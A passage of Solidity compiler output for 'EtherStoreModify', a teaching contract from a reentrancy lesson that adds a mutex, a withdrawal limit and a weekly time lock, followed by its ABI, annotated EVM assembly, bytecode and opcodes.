"content": "pragma solidity ^0.4.26;\n\ncontract EtherStoreModify{\n \n // inintialize the mutex\n bool reEntrancyMutex = false;\n uint256 public withdrawwalLimit = 1 ether;\n mapping(address => uint256) public lastWithdrawTime;\n mapping(address => uint256) public balances;\n \n function depositFunds() public payable {\n balances[msg.sender] += msg.value;\n }\n \n function withdrawFunds (uint256 _weiToWithdraw) public {\n require(!reEntrancyMutex);\n require(balances[msg.sender] >= _weiToWithdraw);\n // limit the withdrawal \n require(_weiToWithdraw <= withdrawwalLimit);\n // limit the time allowed to withdraw \n require(now >= lastWithdrawTime[msg.sender] + 1 weeks);\n balances[msg.sender] -= _weiToWithdraw;\n lastWithdrawTime[msg.sender] = now;\n // set the reEntrancy mutex before the external call data\n reEntrancyMutex = true;\n msg.sender.transfer(_weiToWithdraw);\n // release the mutex after the external call\n reEntrancyMutex = false;\n }\n}" | |
} | |
}, | |
"settings": { | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"outputSelection": { | |
"*": { | |
"": [ | |
"ast" | |
], | |
"*": [ | |
"abi", | |
"metadata", | |
"devdoc", | |
"userdoc", | |
"storageLayout", | |
"evm.legacyAssembly", | |
"evm.bytecode", | |
"evm.deployedBytecode", | |
"evm.methodIdentifiers", | |
"evm.gasEstimates", | |
"evm.assembly" | |
] | |
} | |
}, | |
"remappings": [] | |
} | |
}, | |
"output": { | |
"contracts": { | |
"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol": { | |
"EtherStoreModify": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawwalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"evm": { | |
"assembly": " /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":26:1056 contract EtherStoreModify{... */\n mstore(0x40, 0x80)\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":114:119 false */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":91:119 bool reEntrancyMutex = false */\n dup1\n exp(0x100, 0x0)\n dup2\n sload\n dup2\n 0xff\n mul\n not\n and\n swap1\n dup4\n iszero\n iszero\n mul\n or\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":159:166 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":125:166 uint256 public withdrawwalLimit = 1 ether */\n 0x1\n sstore\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":26:1056 contract EtherStoreModify{... */\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_1\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\ntag_1:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":26:1056 contract EtherStoreModify{... */\n pop\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x0\n codecopy\n 0x0\n return\nstop\n\nsub_0: assembly {\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":26:1056 contract EtherStoreModify{... */\n mstore(0x40, 0x80)\n jumpi(tag_1, lt(calldatasize, 0x4))\n calldataload(0x0)\n 0x100000000000000000000000000000000000000000000000000000000\n swap1\n div\n 0xffffffff\n and\n dup1\n 0x1031ec31\n eq\n tag_2\n jumpi\n dup1\n 0x155dd5ee\n eq\n tag_3\n jumpi\n dup1\n 0x27e235e3\n eq\n tag_4\n jumpi\n dup1\n 0xe2c41dbc\n eq\n tag_5\n jumpi\n dup1\n 0xe49c10e8\n eq\n tag_6\n jumpi\n tag_1:\n 0x0\n dup1\n revert\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":172:223 mapping(address => uint256) public lastWithdrawTime */\n tag_2:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_7\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_7:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":172:223 mapping(address => uint256) public lastWithdrawTime */\n pop\n tag_8\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_9)\n tag_8:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":382:1054 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n tag_3:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_10\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_10:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":382:1054 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n pop\n tag_11\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_12)\n tag_11:\n stop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":229:272 mapping(address => uint256) public balances */\n tag_4:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_13\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_13:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":229:272 mapping(address => uint256) public balances */\n pop\n tag_14\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_15)\n tag_14:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":283:372 function depositFunds() public payable {... */\n tag_5:\n tag_16\n jump(tag_17)\n tag_16:\n stop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":125:166 uint256 public withdrawwalLimit = 1 ether */\n tag_6:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_18\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_18:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":125:166 uint256 public withdrawwalLimit = 1 ether */\n pop\n tag_19\n jump(tag_20)\n tag_19:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":172:223 mapping(address => uint256) public lastWithdrawTime */\n tag_9:\n mstore(0x20, 0x2)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":382:1054 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n tag_12:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":456:471 reEntrancyMutex */\n 0x0\n dup1\n swap1\n sload\n swap1\n 0x100\n exp\n swap1\n div\n 0xff\n and\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":455:471 !reEntrancyMutex */\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":447:472 require(!reEntrancyMutex) */\n iszero\n iszero\n tag_22\n jumpi\n 0x0\n dup1\n revert\n tag_22:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":514:528 _weiToWithdraw */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":490:498 balances */\n 0x3\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":490:510 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":499:509 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":490:510 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":490:528 balances[msg.sender] >= _weiToWithdraw */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":482:529 require(balances[msg.sender] >= _weiToWithdraw) */\n iszero\n iszero\n tag_23\n jumpi\n 0x0\n dup1\n revert\n tag_23:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":598:614 withdrawwalLimit */\n sload(0x1)\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":580:594 _weiToWithdraw */\n dup2\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":580:614 _weiToWithdraw <= withdrawwalLimit */\n gt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":572:615 require(_weiToWithdraw <= withdrawwalLimit) */\n iszero\n iszero\n tag_24\n jumpi\n 0x0\n dup1\n revert\n tag_24:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":718:725 1 weeks */\n 0x93a80\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":687:703 lastWithdrawTime */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":687:715 lastWithdrawTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":704:714 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":687:715 lastWithdrawTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":687:725 lastWithdrawTime[msg.sender] + 1 weeks */\n add\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":680:683 now */\n timestamp\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":680:725 now >= lastWithdrawTime[msg.sender] + 1 weeks */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":672:726 require(now >= lastWithdrawTime[msg.sender] + 1 weeks) */\n iszero\n iszero\n tag_25\n jumpi\n 0x0\n dup1\n revert\n tag_25:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":760:774 _weiToWithdraw */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":736:744 balances */\n 0x3\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":736:756 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":745:755 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":736:756 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":736:774 balances[msg.sender] -= _weiToWithdraw */\n dup3\n dup3\n sload\n sub\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":815:818 now */\n timestamp\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":784:800 lastWithdrawTime */\n 0x2\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":784:812 lastWithdrawTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":801:811 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":784:812 lastWithdrawTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":784:818 lastWithdrawTime[msg.sender] = now */\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":912:916 true */\n 0x1\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":894:909 reEntrancyMutex */\n 0x0\n dup1\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":894:916 reEntrancyMutex = true */\n 0x100\n exp\n dup2\n sload\n dup2\n 0xff\n mul\n not\n and\n swap1\n dup4\n iszero\n iszero\n mul\n or\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":926:936 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":926:945 msg.sender.transfer */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":926:961 msg.sender.transfer(_weiToWithdraw) */\n 0x8fc\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":946:960 _weiToWithdraw */\n dup3\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":926:961 msg.sender.transfer(_weiToWithdraw) */\n swap1\n dup2\n iszero\n mul\n swap1\n mload(0x40)\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n dup6\n dup9\n dup9\n call\n swap4\n pop\n pop\n pop\n pop\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_26\n jumpi\n /* \"--CODEGEN--\":45:61 */\n returndatasize\n /* \"--CODEGEN--\":42:43 */\n 0x0\n /* \"--CODEGEN--\":39:40 */\n dup1\n /* \"--CODEGEN--\":24:62 */\n returndatacopy\n /* \"--CODEGEN--\":77:93 */\n returndatasize\n /* \"--CODEGEN--\":74:75 */\n 0x0\n /* \"--CODEGEN--\":67:94 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_26:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":926:961 msg.sender.transfer(_weiToWithdraw) */\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":1042:1047 false */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":1024:1039 reEntrancyMutex */\n dup1\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":1024:1047 reEntrancyMutex = false */\n 0x100\n exp\n dup2\n sload\n dup2\n 0xff\n mul\n not\n and\n swap1\n dup4\n iszero\n iszero\n mul\n or\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":382:1054 function withdrawFunds (uint256 _weiToWithdraw) public {... */\n pop\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":229:272 mapping(address => uint256) public balances */\n tag_15:\n mstore(0x20, 0x3)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":283:372 function depositFunds() public payable {... */\n tag_17:\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":356:365 msg.value */\n callvalue\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":332:340 balances */\n 0x3\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":332:352 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":341:351 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":332:352 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":332:365 balances[msg.sender] += msg.value */\n dup3\n dup3\n sload\n add\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":283:372 function depositFunds() public payable {... */\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":125:166 uint256 public withdrawwalLimit = 1 ether */\n tag_20:\n sload(0x1)\n dup2\n jump\t// out\n\n auxdata: 0xa165627a7a72305820ea5405b9eed5268991dfc09d26bcfa7e2e92fd6b94a85ffa55b70602bdb42acc0029\n}\n", | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405260008060006101000a81548160ff021916908315150217905550670de0b6b3a764000060015534801561003657600080fd5b5061040f806100466000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f6578063e2c41dbc1461014d578063e49c10e814610157575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610376565b6040518082815260200191505060405180910390f35b61015561038e565b005b34801561016357600080fd5b5061016c6103dd565b6040518082815260200191505060405180910390f35b60026020528060005260406000206000915090505481565b6000809054906101000a900460ff161515156101b557600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561020357600080fd5b600154811115151561021457600080fd5b62093a80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561026757600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000806101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610358573d6000803e3d6000fd5b5060008060006101000a81548160ff02191690831515021790555050565b60036020528060005260406000206000915090505481565b34600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b600154815600a165627a7a72305820ea5405b9eed5268991dfc09d26bcfa7e2e92fd6b94a85ffa55b70602bdb42acc0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP PUSH8 0xDE0B6B3A7640000 PUSH1 0x1 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x36 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x40F DUP1 PUSH2 0x46 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE49C10E8 EQ PUSH2 0x157 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x376 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x155 PUSH2 0x38E JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x163 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x16C PUSH2 0x3DD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND ISZERO ISZERO ISZERO PUSH2 0x1B5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x203 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x214 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x267 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC DUP3 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x358 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x3 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 0xea SLOAD SDIV 0xb9 0xee 0xd5 0x26 DUP10 SWAP2 